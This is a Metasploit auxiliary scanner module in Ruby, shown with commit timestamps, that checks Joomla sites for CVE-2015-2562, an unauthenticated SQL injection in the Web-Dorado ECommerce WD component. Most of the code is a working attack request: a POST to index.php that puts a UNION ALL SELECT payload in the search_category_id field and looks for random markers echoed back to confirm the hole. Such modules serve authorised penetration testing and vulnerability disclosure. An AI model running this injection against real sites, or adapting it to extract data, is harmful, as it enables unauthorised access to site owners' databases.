2015-03-28 01:25:33 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'uri'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2015-03-28 13:38:12 +00:00
|
|
|
'Name' => 'Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner',
|
2015-03-28 01:25:33 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module will scan for hosts vulnerable to an unauthenticated SQL injection within the
|
|
|
|
advanced search feature of the Web-Dorado ECommerce WD 1.2.5 and likely prior.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'bperry'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-2562']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 20 2015'))
|
|
|
|
|
2015-03-28 20:46:41 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/'])
|
|
|
|
], self.class)
|
2015-03-28 01:25:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
left_marker = Rex::Text.rand_text_alpha(5)
|
|
|
|
right_marker = Rex::Text.rand_text_alpha(5)
|
|
|
|
flag = Rex::Text.rand_text_alpha(5)
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_get' => {
|
|
|
|
'option' => 'com_ecommercewd',
|
|
|
|
'controller' => 'products',
|
|
|
|
'task' => 'displayproducts',
|
|
|
|
'Itemid' => '-1'
|
|
|
|
},
|
|
|
|
'vars_post' => {
|
|
|
|
'product_id' => '-1',
|
|
|
|
'product_count' => '',
|
|
|
|
'product_parameters_json' => '',
|
|
|
|
'search_name' => '',
|
|
|
|
'search_category_id' => "1) UNION ALL SELECT CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]})-- ",
|
|
|
|
'filter_filters_opened' => '0',
|
|
|
|
'filter_manufacturer_ids' => '1',
|
|
|
|
'filter_price_from' => '',
|
|
|
|
'filter_price_to' => '',
|
|
|
|
'sort_by' => '',
|
|
|
|
'sort_order' => 'asc',
|
|
|
|
'pagination_limit_start' => '0',
|
|
|
|
'pagination_limit' => '12'
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
unless res && res.body
|
2015-03-28 13:38:12 +00:00
|
|
|
vprint_error("#{peer} - Server did not respond in an expected way")
|
2015-03-28 01:25:33 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
|
|
|
|
|
|
|
|
if result
|
2015-03-28 13:38:12 +00:00
|
|
|
print_good("#{peer} - Vulnerable to CVE-2015-2562 (search_category_id parameter SQL injection)")
|
2015-03-28 01:25:33 +00:00
|
|
|
report_vuln({
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:proto => 'tcp',
|
2015-03-28 20:46:41 +00:00
|
|
|
:name => "Web-Dorado ECommerce WD search_category_id SQL injection",
|
2015-03-28 01:25:33 +00:00
|
|
|
:refs => self.references.select { |ref| ref.ctx_val == "2015-2562" }
|
|
|
|
})
|
|
|
|
end
|
2015-03-28 13:38:12 +00:00
|
|
|
|
2015-03-28 01:25:33 +00:00
|
|
|
end
|
2015-03-28 13:38:12 +00:00
|
|
|
|
2015-03-28 01:25:33 +00:00
|
|
|
end
|